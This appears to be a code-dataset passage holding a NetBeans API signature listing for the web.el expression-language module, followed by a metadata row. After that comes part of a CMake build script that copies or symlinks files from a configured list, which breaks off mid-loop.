meth public abstract java.util.Set<java.lang.String> getBinaryLibraryPathIds()
meth public abstract java.util.Set<java.lang.String> getLibraryPathIds()
meth public abstract java.util.Set<java.lang.String> getSourcePathIds()
meth public abstract org.netbeans.api.lexer.Language getLexerLanguage()
anno 0 org.netbeans.api.annotations.common.NonNull()
CLSS public abstract org.netbeans.modules.csl.spi.DefaultLanguageConfig
cons public init()
intf org.netbeans.modules.csl.api.GsfLanguage
meth public abstract java.lang.String getDisplayName()
meth public abstract org.netbeans.api.lexer.Language getLexerLanguage()
meth public boolean hasFormatter()
meth public boolean hasHintsProvider()
meth public boolean hasOccurrencesFinder()
meth public boolean hasStructureScanner()
meth public boolean isIdentifierChar(char)
meth public boolean isUsingCustomEditorKit()
meth public java.lang.String getLineCommentPrefix()
meth public java.lang.String getPreferredExtension()
meth public java.util.Set<java.lang.String> getBinaryLibraryPathIds()
meth public java.util.Set<java.lang.String> getLibraryPathIds()
meth public java.util.Set<java.lang.String> getSourcePathIds()
meth public org.netbeans.modules.csl.api.CodeCompletionHandler getCompletionHandler()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.DeclarationFinder getDeclarationFinder()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.Formatter getFormatter()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.HintsProvider getHintsProvider()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.IndexSearcher getIndexSearcher()
meth public org.netbeans.modules.csl.api.InstantRenamer getInstantRenamer()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.KeystrokeHandler getKeystrokeHandler()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.OccurrencesFinder getOccurrencesFinder()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.OverridingMethods getOverridingMethods()
meth public org.netbeans.modules.csl.api.SemanticAnalyzer getSemanticAnalyzer()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.api.StructureScanner getStructureScanner()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
meth public org.netbeans.modules.csl.spi.CommentHandler getCommentHandler()
meth public org.netbeans.modules.parsing.spi.Parser getParser()
meth public org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexerFactory getIndexerFactory()
anno 0 org.netbeans.api.annotations.common.CheckForNull()
supr java.lang.Object
CLSS public abstract org.netbeans.modules.csl.spi.ParserResult
cons protected init(org.netbeans.modules.parsing.api.Snapshot)
meth public abstract java.util.List<? extends org.netbeans.modules.csl.api.Error> getDiagnostics()
supr org.netbeans.modules.parsing.spi.Parser$Result
CLSS public abstract org.netbeans.modules.parsing.spi.Parser
cons public init()
innr public abstract static Result
innr public final static !enum CancelReason
meth public abstract org.netbeans.modules.parsing.spi.Parser$Result getResult(org.netbeans.modules.parsing.api.Task) throws org.netbeans.modules.parsing.spi.ParseException
meth public abstract void addChangeListener(javax.swing.event.ChangeListener)
meth public abstract void parse(org.netbeans.modules.parsing.api.Snapshot,org.netbeans.modules.parsing.api.Task,org.netbeans.modules.parsing.spi.SourceModificationEvent) throws org.netbeans.modules.parsing.spi.ParseException
meth public abstract void removeChangeListener(javax.swing.event.ChangeListener)
meth public void cancel()
anno 0 java.lang.Deprecated()
meth public void cancel(org.netbeans.modules.parsing.spi.Parser$CancelReason,org.netbeans.modules.parsing.spi.SourceModificationEvent)
anno 1 org.netbeans.api.annotations.common.NonNull()
anno 2 org.netbeans.api.annotations.common.NullAllowed()
supr java.lang.Object
hcls MyAccessor
CLSS public abstract static org.netbeans.modules.parsing.spi.Parser$Result
outer org.netbeans.modules.parsing.spi.Parser
cons protected init(org.netbeans.modules.parsing.api.Snapshot)
meth protected abstract void invalidate()
meth public org.netbeans.modules.parsing.api.Snapshot getSnapshot()
supr java.lang.Object
hfds snapshot
CLSS public abstract org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexer
cons public init()
meth protected abstract void index(org.netbeans.modules.parsing.spi.indexing.Indexable,org.netbeans.modules.parsing.spi.Parser$Result,org.netbeans.modules.parsing.spi.indexing.Context)
supr java.lang.Object
CLSS public abstract org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexerFactory
cons public init()
meth public abstract org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexer createIndexer(org.netbeans.modules.parsing.spi.indexing.Indexable,org.netbeans.modules.parsing.api.Snapshot)
supr org.netbeans.modules.parsing.spi.indexing.SourceIndexerFactory
CLSS public abstract org.netbeans.modules.parsing.spi.indexing.SourceIndexerFactory
cons public init()
meth public abstract int getIndexVersion()
meth public abstract java.lang.String getIndexerName()
meth public abstract void filesDeleted(java.lang.Iterable<? extends org.netbeans.modules.parsing.spi.indexing.Indexable>,org.netbeans.modules.parsing.spi.indexing.Context)
meth public abstract void filesDirty(java.lang.Iterable<? extends org.netbeans.modules.parsing.spi.indexing.Indexable>,org.netbeans.modules.parsing.spi.indexing.Context)
meth public boolean scanStarted(org.netbeans.modules.parsing.spi.indexing.Context)
meth public int getPriority()
meth public void rootsRemoved(java.lang.Iterable<? extends java.net.URL>)
meth public void scanFinished(org.netbeans.modules.parsing.spi.indexing.Context)
supr java.lang.Object
CLSS public final org.netbeans.modules.web.el.AstPath
cons public init(com.sun.el.parser.Node)
meth public com.sun.el.parser.Node getRoot()
meth public java.util.List<com.sun.el.parser.Node> leafToRoot()
meth public java.util.List<com.sun.el.parser.Node> rootToLeaf()
meth public java.util.List<com.sun.el.parser.Node> rootToNode(com.sun.el.parser.Node)
meth public java.util.List<com.sun.el.parser.Node> rootToNode(com.sun.el.parser.Node,boolean)
supr java.lang.Object
hfds nodes,root
CLSS public org.netbeans.modules.web.el.CompilationCache
cons public init()
innr public abstract interface static ValueProvider
innr public static Key
meth public !varargs static org.netbeans.modules.web.el.CompilationCache$Key createKey(java.lang.Object[])
meth public java.lang.Object getOrCache(org.netbeans.modules.web.el.CompilationCache$Key,org.netbeans.modules.web.el.CompilationCache$ValueProvider<?>)
supr java.lang.Object
hfds map
CLSS public static org.netbeans.modules.web.el.CompilationCache$Key
outer org.netbeans.modules.web.el.CompilationCache
meth public boolean equals(java.lang.Object)
meth public int hashCode()
supr java.lang.Object
hfds keys
CLSS public abstract interface static org.netbeans.modules.web.el.CompilationCache$ValueProvider<%0 extends java.lang.Object>
outer org.netbeans.modules.web.el.CompilationCache
meth public abstract {org.netbeans.modules.web.el.CompilationCache$ValueProvider%0} get()
CLSS public org.netbeans.modules.web.el.CompilationContext
meth public org.netbeans.api.java.source.CompilationInfo info()
meth public org.netbeans.modules.web.el.CompilationCache cache()
meth public org.netbeans.modules.web.el.spi.ResolverContext context()
meth public org.openide.filesystems.FileObject file()
meth public static org.netbeans.modules.web.el.CompilationContext create(org.openide.filesystems.FileObject,org.netbeans.api.java.source.CompilationInfo)
supr java.lang.Object
hfds cache,context,file,info
CLSS public final org.netbeans.modules.web.el.ELElement
meth public boolean isValid()
meth public com.sun.el.parser.Node findNodeAt(int)
meth public com.sun.el.parser.Node getNode()
meth public java.lang.String toString()
meth public javax.el.ELException getError()
meth public org.netbeans.modules.csl.api.OffsetRange getEmbeddedOffset()
meth public org.netbeans.modules.csl.api.OffsetRange getOriginalOffset()
meth public org.netbeans.modules.csl.api.OffsetRange getOriginalOffset(com.sun.el.parser.Node)
meth public org.netbeans.modules.parsing.api.Snapshot getSnapshot()
meth public org.netbeans.modules.web.el.ELElement makeValidCopy(com.sun.el.parser.Node,org.netbeans.modules.web.el.ELPreprocessor)
meth public org.netbeans.modules.web.el.ELPreprocessor getExpression()
supr java.lang.Object
hfds embeddedOffset,error,expression,node,originalOffset,snapshot
CLSS public final org.netbeans.modules.web.el.ELIndex
meth public java.util.Collection<? extends org.netbeans.modules.parsing.spi.indexing.support.IndexResult> findIdentifierReferences(java.lang.String)
meth public java.util.Collection<? extends org.netbeans.modules.parsing.spi.indexing.support.IndexResult> findMethodReferences(java.lang.String)
meth public java.util.Collection<? extends org.netbeans.modules.parsing.spi.indexing.support.IndexResult> findPropertyReferences(java.lang.String)
meth public static org.netbeans.modules.web.el.ELIndex get(org.openide.filesystems.FileObject)
supr java.lang.Object
hfds querySupport
CLSS public final org.netbeans.modules.web.el.ELIndexer
cons public init()
innr public final static Factory
innr public final static Fields
meth protected void index(org.netbeans.modules.parsing.spi.indexing.Indexable,org.netbeans.modules.parsing.spi.Parser$Result,org.netbeans.modules.parsing.spi.indexing.Context)
supr org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexer
hfds LOGGER
hcls Analyzer
CLSS public final static org.netbeans.modules.web.el.ELIndexer$Factory
outer org.netbeans.modules.web.el.ELIndexer
cons public init()
meth public int getIndexVersion()
meth public java.lang.String getIndexerName()
meth public org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexer createIndexer(org.netbeans.modules.parsing.spi.indexing.Indexable,org.netbeans.modules.parsing.api.Snapshot)
meth public void filesDeleted(java.lang.Iterable<? extends org.netbeans.modules.parsing.spi.indexing.Indexable>,org.netbeans.modules.parsing.spi.indexing.Context)
meth public void filesDirty(java.lang.Iterable<? extends org.netbeans.modules.parsing.spi.indexing.Indexable>,org.netbeans.modules.parsing.spi.indexing.Context)
supr org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexerFactory
hfds INDEXABLE_MIMETYPES,NAME,VERSION
CLSS public final static org.netbeans.modules.web.el.ELIndexer$Fields
outer org.netbeans.modules.web.el.ELIndexer
cons public init()
fld public final static java.lang.String EXPRESSION = "expression"
fld public final static java.lang.String IDENTIFIER = "identifier"
fld public final static java.lang.String IDENTIFIER_FULL_EXPRESSION = "identifier_full_expression"
fld public final static java.lang.String METHOD = "method"
fld public final static java.lang.String METHOD_FULL_EXPRESSION = "method_full_expression"
fld public final static java.lang.String PROPERTY = "property"
fld public final static java.lang.String PROPERTY_FULL_EXPRESSION = "property_full_expression"
fld public final static java.lang.String PROPERTY_OWNER = "property_owner"
fld public final static java.lang.String SEPARATOR = "|"
meth public static java.lang.String[] split(java.lang.String)
supr java.lang.Object
CLSS public org.netbeans.modules.web.el.ELLanguage
cons public init()
fld public final static java.lang.String MIME_TYPE = "text/x-el"
meth public boolean hasHintsProvider()
meth public boolean hasOccurrencesFinder()
meth public java.lang.String getDisplayName()
meth public org.netbeans.api.lexer.Language getLexerLanguage()
meth public org.netbeans.modules.csl.api.CodeCompletionHandler getCompletionHandler()
meth public org.netbeans.modules.csl.api.DeclarationFinder getDeclarationFinder()
meth public org.netbeans.modules.csl.api.HintsProvider getHintsProvider()
meth public org.netbeans.modules.csl.api.OccurrencesFinder getOccurrencesFinder()
meth public org.netbeans.modules.csl.spi.CommentHandler getCommentHandler()
meth public org.netbeans.modules.parsing.spi.Parser getParser()
meth public org.netbeans.modules.parsing.spi.indexing.EmbeddingIndexerFactory getIndexerFactory()
supr org.netbeans.modules.csl.spi.DefaultLanguageConfig
CLSS public final org.netbeans.modules.web.el.ELParser
cons public init()
meth public org.netbeans.modules.parsing.spi.Parser$Result getResult(org.netbeans.modules.parsing.api.Task) throws org.netbeans.modules.parsing.spi.ParseException
meth public static com.sun.el.parser.Node parse(org.netbeans.modules.web.el.ELPreprocessor)
meth public static org.netbeans.modules.web.el.ELParser create(javax.swing.text.Document)
meth public void addChangeListener(javax.swing.event.ChangeListener)
meth public void cancel(org.netbeans.modules.parsing.spi.Parser$CancelReason,org.netbeans.modules.parsing.spi.SourceModificationEvent)
meth public void parse(org.netbeans.modules.parsing.api.Snapshot,org.netbeans.modules.parsing.api.Task,org.netbeans.modules.parsing.spi.SourceModificationEvent) throws org.netbeans.modules.parsing.spi.ParseException
meth public void removeChangeListener(javax.swing.event.ChangeListener)
supr org.netbeans.modules.parsing.spi.Parser
hfds ATTRIBUTE_EL_MARKER,LOGGER,document,result
CLSS public final org.netbeans.modules.web.el.ELParserResult
cons public init(org.netbeans.modules.parsing.api.Snapshot)
cons public init(org.openide.filesystems.FileObject)
meth protected void invalidate()
meth public boolean hasElements()
meth public boolean isValid()
meth public java.lang.String toString()
meth public java.util.List<? extends org.netbeans.modules.csl.api.Error> getDiagnostics()
meth public java.util.List<org.netbeans.modules.web.el.ELElement> getElements()
meth public java.util.List<org.netbeans.modules.web.el.ELElement> getElementsTo(int)
meth public org.netbeans.modules.web.el.ELElement addErrorElement(javax.el.ELException,org.netbeans.modules.web.el.ELPreprocessor,org.netbeans.modules.csl.api.OffsetRange)
meth public org.netbeans.modules.web.el.ELElement addValidElement(com.sun.el.parser.Node,org.netbeans.modules.web.el.ELPreprocessor,org.netbeans.modules.csl.api.OffsetRange)
meth public org.netbeans.modules.web.el.ELElement getElementAt(int)
meth public org.openide.filesystems.FileObject getFileObject()
supr org.netbeans.modules.csl.spi.ParserResult
hfds elements,file
hcls ELError
CLSS public org.netbeans.modules.web.el.ELPreprocessor
cons public !varargs init(java.lang.String,java.lang.String[][][])
fld public final static java.lang.String[][] ESCAPED_CHARACTERS
fld public final static java.lang.String[][] XML_ENTITY_REFS_CONVERSION_TABLE
meth public int getOriginalOffset(int)
meth public int getPreprocessedOffset(int)
meth public java.lang.String getOriginalExpression()
meth public java.lang.String getPreprocessedExpression()
meth public java.lang.String toString()
supr java.lang.Object
hfds LOG,conversionTables,diffs,originalExpression,preprocessedExpression,stringLiterals
CLSS public final org.netbeans.modules.web.el.ELTypeUtilities
meth public static boolean isAccessIntoCollection(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node)
meth public static boolean isImplicitObjectReference(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node,java.util.List<org.netbeans.modules.web.el.spi.ImplicitObjectType>,boolean)
meth public static boolean isIterableElement(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element)
meth public static boolean isMapElement(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element)
meth public static boolean isRawObjectReference(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node,boolean)
meth public static boolean isResourceBundleVar(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node)
meth public static boolean isSameMethod(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node,javax.lang.model.element.ExecutableElement)
meth public static boolean isSameMethod(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node,javax.lang.model.element.ExecutableElement,boolean)
meth public static boolean isScopeObject(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node)
meth public static boolean isStaticIterableElement(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node)
meth public static boolean isSubtypeOf(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.type.TypeMirror,java.lang.CharSequence)
meth public static java.lang.String getBracketMethodName(com.sun.el.parser.Node)
meth public static java.lang.String getParametersAsString(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.ExecutableElement)
meth public static java.lang.String getRawObjectName(com.sun.el.parser.Node)
meth public static java.lang.String getTypeNameFor(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element)
meth public static java.util.Collection<org.netbeans.modules.web.el.spi.Function> getELFunctions(org.netbeans.modules.web.el.CompilationContext)
meth public static java.util.Collection<org.netbeans.modules.web.el.spi.ImplicitObject> getImplicitObjects(org.netbeans.modules.web.el.CompilationContext)
meth public static java.util.List<java.lang.String> getParameterNames(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.ExecutableElement)
meth public static java.util.List<javax.lang.model.element.Element> getSuperTypesFor(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element)
meth public static java.util.List<javax.lang.model.element.Element> getSuperTypesFor(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element,org.netbeans.modules.web.el.ELElement,java.util.List<com.sun.el.parser.Node>)
meth public static javax.lang.model.element.Element getReferredType(org.netbeans.modules.web.el.CompilationContext,com.sun.el.parser.Node,org.openide.filesystems.FileObject)
meth public static javax.lang.model.element.Element getReferredType(org.netbeans.modules.web.el.CompilationContext,org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo,org.openide.filesystems.FileObject)
meth public static javax.lang.model.element.Element getTypeFor(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.Element)
meth public static javax.lang.model.element.Element resolveElement(org.netbeans.modules.web.el.CompilationContext,org.netbeans.modules.web.el.ELElement,com.sun.el.parser.Node)
meth public static javax.lang.model.element.Element resolveElement(org.netbeans.modules.web.el.CompilationContext,org.netbeans.modules.web.el.ELElement,com.sun.el.parser.Node,java.util.Map<com.sun.el.parser.AstIdentifier,com.sun.el.parser.Node>,java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo>)
meth public static javax.lang.model.element.TypeElement getElementForType(org.netbeans.modules.web.el.CompilationContext,java.lang.String)
meth public static javax.lang.model.type.TypeMirror getReturnType(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.ExecutableElement)
meth public static javax.lang.model.type.TypeMirror getReturnType(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.ExecutableElement,org.netbeans.modules.web.el.ELElement,java.util.List<com.sun.el.parser.Node>)
meth public static javax.lang.model.type.TypeMirror getReturnTypeForGenericClass(org.netbeans.modules.web.el.CompilationContext,javax.lang.model.element.ExecutableElement,org.netbeans.modules.web.el.ELElement,java.util.List<com.sun.el.parser.Node>)
meth public static org.netbeans.api.java.source.ClasspathInfo getElimplExtendedCPI(org.openide.filesystems.FileObject)
supr java.lang.Object
hfds EL_IMPL_JAR_FO,FACES_CONTEXT_CLASS,LOG,STREAM_CLASS,TYPES,UI_COMPONENT_CLASS
hcls TypeResolverVisitor
CLSS public final org.netbeans.modules.web.el.ELVariableResolvers
meth public static java.lang.String findBeanClass(org.netbeans.modules.web.el.CompilationContext,java.lang.String,org.openide.filesystems.FileObject)
meth public static java.lang.String findBeanName(org.netbeans.modules.web.el.CompilationContext,java.lang.String,org.openide.filesystems.FileObject)
meth public static java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getBeansInScope(org.netbeans.modules.web.el.CompilationContext,java.lang.String,org.netbeans.modules.parsing.api.Snapshot)
meth public static java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getManagedBeans(org.netbeans.modules.web.el.CompilationContext,org.openide.filesystems.FileObject)
meth public static java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getRawObjectProperties(org.netbeans.modules.web.el.CompilationContext,java.lang.String,org.netbeans.modules.parsing.api.Snapshot)
meth public static java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getVariables(org.netbeans.modules.web.el.CompilationContext,org.netbeans.modules.parsing.api.Snapshot,int)
supr java.lang.Object
CLSS public org.netbeans.modules.web.el.NodeUtil
cons public init()
meth public static boolean isMethodCall(com.sun.el.parser.Node)
meth public static com.sun.el.parser.Node getSiblingBefore(com.sun.el.parser.Node)
meth public static java.lang.String dump(com.sun.el.parser.Node)
meth public static java.util.List<com.sun.el.parser.Node> getRootToNode(org.netbeans.modules.web.el.ELElement,com.sun.el.parser.Node)
supr java.lang.Object
hfds INDENT
CLSS public final org.netbeans.modules.web.el.ResourceBundles
fld protected final static java.util.Map<org.openide.filesystems.FileObject,org.netbeans.modules.web.el.ResourceBundles> CACHE
innr public static Location
meth public boolean canHaveBundles()
meth public boolean isResourceBundleIdentifier(java.lang.String,org.netbeans.modules.web.el.spi.ResolverContext)
meth public boolean isValidKey(java.lang.String,java.lang.String)
meth public java.lang.String findResourceBundleIdentifier(org.netbeans.modules.web.el.AstPath)
meth public java.lang.String getValue(java.lang.String,java.lang.String)
meth public java.util.List<org.netbeans.modules.web.el.ResourceBundles$Location> getLocationsForBundleIdent(java.lang.String)
meth public java.util.List<org.netbeans.modules.web.el.ResourceBundles$Location> getLocationsForBundleKey(java.lang.String,java.lang.String)
meth public java.util.List<org.netbeans.modules.web.el.spi.ResourceBundle> getBundles(org.netbeans.modules.web.el.spi.ResolverContext)
meth public java.util.List<org.openide.util.Pair<com.sun.el.parser.AstIdentifier,com.sun.el.parser.Node>> collectKeys(com.sun.el.parser.Node)
meth public java.util.List<org.openide.util.Pair<com.sun.el.parser.AstIdentifier,com.sun.el.parser.Node>> collectKeys(com.sun.el.parser.Node,org.netbeans.modules.web.el.spi.ResolverContext)
meth public java.util.Map<java.lang.String,java.lang.String> getEntries(java.lang.String)
meth public static org.netbeans.modules.web.el.ResourceBundles create(org.netbeans.modules.web.api.webmodule.WebModule,org.netbeans.api.project.Project)
meth public static org.netbeans.modules.web.el.ResourceBundles get(org.openide.filesystems.FileObject)
supr java.lang.Object
hfds FILE_CHANGE_LISTENER,LOGGER,bundlesMap,currentBundlesHashCode,project,webModule
hcls ResourceBundleInfo
CLSS public static org.netbeans.modules.web.el.ResourceBundles$Location
outer org.netbeans.modules.web.el.ResourceBundles
cons public init(int,org.openide.filesystems.FileObject)
meth public int getOffset()
meth public org.openide.filesystems.FileObject getFile()
supr java.lang.Object
hfds file,offset
CLSS public abstract org.netbeans.modules.web.el.spi.ELPlugin
cons public init()
innr public static Query
meth public abstract java.lang.String getName()
meth public abstract java.util.Collection<java.lang.String> getMimeTypes()
meth public abstract java.util.Collection<org.netbeans.modules.web.el.spi.ImplicitObject> getImplicitObjects(org.openide.filesystems.FileObject)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.Function> getFunctions(org.openide.filesystems.FileObject)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.ResourceBundle> getResourceBundles(org.openide.filesystems.FileObject,org.netbeans.modules.web.el.spi.ResolverContext)
meth public boolean isValidProperty(javax.lang.model.element.ExecutableElement,org.netbeans.modules.parsing.api.Source,org.netbeans.modules.csl.api.CodeCompletionContext,org.netbeans.modules.web.el.CompilationContext)
supr java.lang.Object
CLSS public static org.netbeans.modules.web.el.spi.ELPlugin$Query
outer org.netbeans.modules.web.el.spi.ELPlugin
cons public init()
meth public static boolean isValidProperty(javax.lang.model.element.ExecutableElement,org.netbeans.modules.parsing.api.Source,org.netbeans.modules.web.el.CompilationContext,org.netbeans.modules.csl.api.CodeCompletionContext)
meth public static java.util.Collection<? extends org.netbeans.modules.web.el.spi.ELPlugin> getELPlugins()
meth public static java.util.Collection<org.netbeans.modules.web.el.spi.ImplicitObject> getImplicitObjects(org.openide.filesystems.FileObject)
meth public static java.util.List<org.netbeans.modules.web.el.spi.Function> getFunctions(org.openide.filesystems.FileObject)
meth public static java.util.List<org.netbeans.modules.web.el.spi.ResourceBundle> getResourceBundles(org.openide.filesystems.FileObject,org.netbeans.modules.web.el.spi.ResolverContext)
supr java.lang.Object
CLSS public abstract interface org.netbeans.modules.web.el.spi.ELVariableResolver
innr public final static FieldInfo
innr public final static VariableInfo
meth public abstract java.lang.String getBeanName(java.lang.String,org.openide.filesystems.FileObject,org.netbeans.modules.web.el.spi.ResolverContext)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getBeansInScope(java.lang.String,org.netbeans.modules.parsing.api.Snapshot,org.netbeans.modules.web.el.spi.ResolverContext)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getManagedBeans(org.openide.filesystems.FileObject,org.netbeans.modules.web.el.spi.ResolverContext)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getRawObjectProperties(java.lang.String,org.netbeans.modules.parsing.api.Snapshot,org.netbeans.modules.web.el.spi.ResolverContext)
meth public abstract java.util.List<org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo> getVariables(org.netbeans.modules.parsing.api.Snapshot,int,org.netbeans.modules.web.el.spi.ResolverContext)
meth public abstract org.netbeans.modules.web.el.spi.ELVariableResolver$FieldInfo getInjectableField(java.lang.String,org.openide.filesystems.FileObject,org.netbeans.modules.web.el.spi.ResolverContext)
CLSS public final static org.netbeans.modules.web.el.spi.ELVariableResolver$FieldInfo
outer org.netbeans.modules.web.el.spi.ELVariableResolver
cons public init(java.lang.String)
cons public init(java.lang.String,java.lang.String)
meth public java.lang.String getEnclosingClass()
meth public java.lang.String getType()
supr java.lang.Object
hfds enclosingClass,type
CLSS public final static org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo
outer org.netbeans.modules.web.el.spi.ELVariableResolver
fld public final java.lang.String clazz
fld public final java.lang.String expression
fld public final java.lang.String name
meth public static org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo createResolvedVariable(java.lang.String,java.lang.String)
meth public static org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo createUnresolvedVariable(java.lang.String,java.lang.String)
meth public static org.netbeans.modules.web.el.spi.ELVariableResolver$VariableInfo createVariable(java.lang.String)
supr java.lang.Object
CLSS public org.netbeans.modules.web.el.spi.Function
cons public init(java.lang.String,java.lang.String,java.util.List<java.lang.String>,java.lang.String)
meth public java.lang.String getDescription()
meth public java.lang.String getName()
meth public java.lang.String getReturnType()
meth public java.util.List<java.lang.String> getParameters()
supr java.lang.Object
hfds description,name,parameters,returnType
CLSS public abstract interface org.netbeans.modules.web.el.spi.ImplicitObject
meth public abstract java.lang.String getClazz()
meth public abstract java.lang.String getName()
meth public abstract org.netbeans.modules.web.el.spi.ImplicitObjectType getType()
CLSS public final !enum org.netbeans.modules.web.el.spi.ImplicitObjectType
fld public final static java.util.List<org.netbeans.modules.web.el.spi.ImplicitObjectType> ALL_TYPES
fld public final static org.netbeans.modules.web.el.spi.ImplicitObjectType MAP_TYPE
fld public final static org.netbeans.modules.web.el.spi.ImplicitObjectType OBJECT_TYPE
fld public final static org.netbeans.modules.web.el.spi.ImplicitObjectType RAW
fld public final static org.netbeans.modules.web.el.spi.ImplicitObjectType SCOPE_TYPE
meth public static org.netbeans.modules.web.el.spi.ImplicitObjectType valueOf(java.lang.String)
meth public static org.netbeans.modules.web.el.spi.ImplicitObjectType[] values()
supr java.lang.Enum<org.netbeans.modules.web.el.spi.ImplicitObjectType>
CLSS public final org.netbeans.modules.web.el.spi.ResolverContext
cons public init()
meth public java.lang.Object getContent(java.lang.String)
meth public void setContent(java.lang.String,java.lang.Object)
supr java.lang.Object
hfds context
CLSS public final org.netbeans.modules.web.el.spi.ResourceBundle
cons public init(java.lang.String,java.lang.String,java.util.List<org.openide.filesystems.FileObject>)
meth public java.lang.String getBaseName()
meth public java.lang.String getVar()
meth public java.util.List<org.openide.filesystems.FileObject> getFiles()
supr java.lang.Object
hfds baseName,files,var
| Standard ML | 3 | timfel/netbeans | enterprise/web.el/nbproject/org-netbeans-modules-web-el.sig | [
"Apache-2.0"
] |
include("${CONFIG_FILE}")
set(prefix "COPYFILES: ")
set(use_symlink 0)
if(IS_SYMLINK "${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/symlink_test")
set(use_symlink 1)
endif()
set(update_dephelper 0)
if(DEFINED DEPHELPER AND NOT EXISTS "${DEPHELPER}")
set(update_dephelper 1)
endif()
set(__state "")
macro(copy_file_ src dst prefix)
string(REPLACE "${CMAKE_BINARY_DIR}/" "" dst_name "${dst}")
set(local_update 0)
if(NOT EXISTS "${dst}")
set(local_update 1)
endif()
if(use_symlink)
if(local_update OR NOT IS_SYMLINK "${dst}")
message("${prefix}Symlink: '${dst_name}' ...")
endif()
get_filename_component(target_path "${dst}" PATH)
file(MAKE_DIRECTORY "${target_path}")
execute_process(COMMAND ${CMAKE_COMMAND} -E create_symlink "${src}" "${dst}"
RESULT_VARIABLE SYMLINK_RESULT)
if(NOT SYMLINK_RESULT EQUAL 0)
#message("Symlink failed, fallback to 'copy'")
set(use_symlink 0)
endif()
endif()
if(NOT use_symlink)
if("${src}" IS_NEWER_THAN "${dst}" OR IS_SYMLINK "${dst}")
file(REMOVE "${dst}") # configure_file(COPYONLY) doesn't update timestamp sometimes
set(local_update 1)
endif()
if(local_update)
message("${prefix}Copying: '${dst_name}' ...")
configure_file(${src} ${dst} COPYONLY)
else()
#message("${prefix}Up-to-date: '${dst_name}'")
endif()
endif()
if(local_update)
set(update_dephelper 1)
endif()
file(TIMESTAMP "${dst}" dst_t UTC)
set(__state "${__state}${dst_t} ${dst}\n")
endmacro()
if(NOT DEFINED COPYLIST_VAR)
set(COPYLIST_VAR "COPYLIST")
endif()
list(LENGTH ${COPYLIST_VAR} __length)
message("${prefix}... ${__length} entries (${COPYLIST_VAR})")
foreach(id ${${COPYLIST_VAR}})
set(src "${${COPYLIST_VAR}_SRC_${id}}")
set(dst "${${COPYLIST_VAR}_DST_${id}}")
if(NOT EXISTS ${src})
message(FATAL_ERROR "Source file/dir is missing: ${src} (${CONFIG_FILE})")
endif()
set(_mode "COPYFILE")
if(DEFINED ${COPYLIST_VAR}_MODE_${id})
set(_mode "${${COPYLIST_VAR}_MODE_${id}}")
endif()
if(_mode STREQUAL "COPYFILE")
#message("... COPY ${src} => ${dst}")
copy_file_("${src}" "${dst}" "${prefix} ")
elseif(_mode STREQUAL "COPYDIR")
get_filename_component(src_name "${src}" NAME)
get_filename_component(src_path "${src}" PATH)
get_filename_component(src_name2 "${src_path}" NAME)
set(src_glob "${src}/*")
if(DEFINED ${COPYLIST_VAR}_GLOB_${id})
set(src_glob "${${COPYLIST_VAR}_GLOB_${id}}")
endif()
file(GLOB_RECURSE _files RELATIVE "${src}" ${src_glob})
list(LENGTH _files __length)
message("${prefix} ... directory '.../${src_name2}/${src_name}' with ${__length} files")
foreach(f ${_files})
if(NOT EXISTS "${src}/${f}")
message(FATAL_ERROR "COPY ERROR: Source file is missing: ${src}/${f}")
endif()
copy_file_("${src}/${f}" "${dst}/${f}" "${prefix} ")
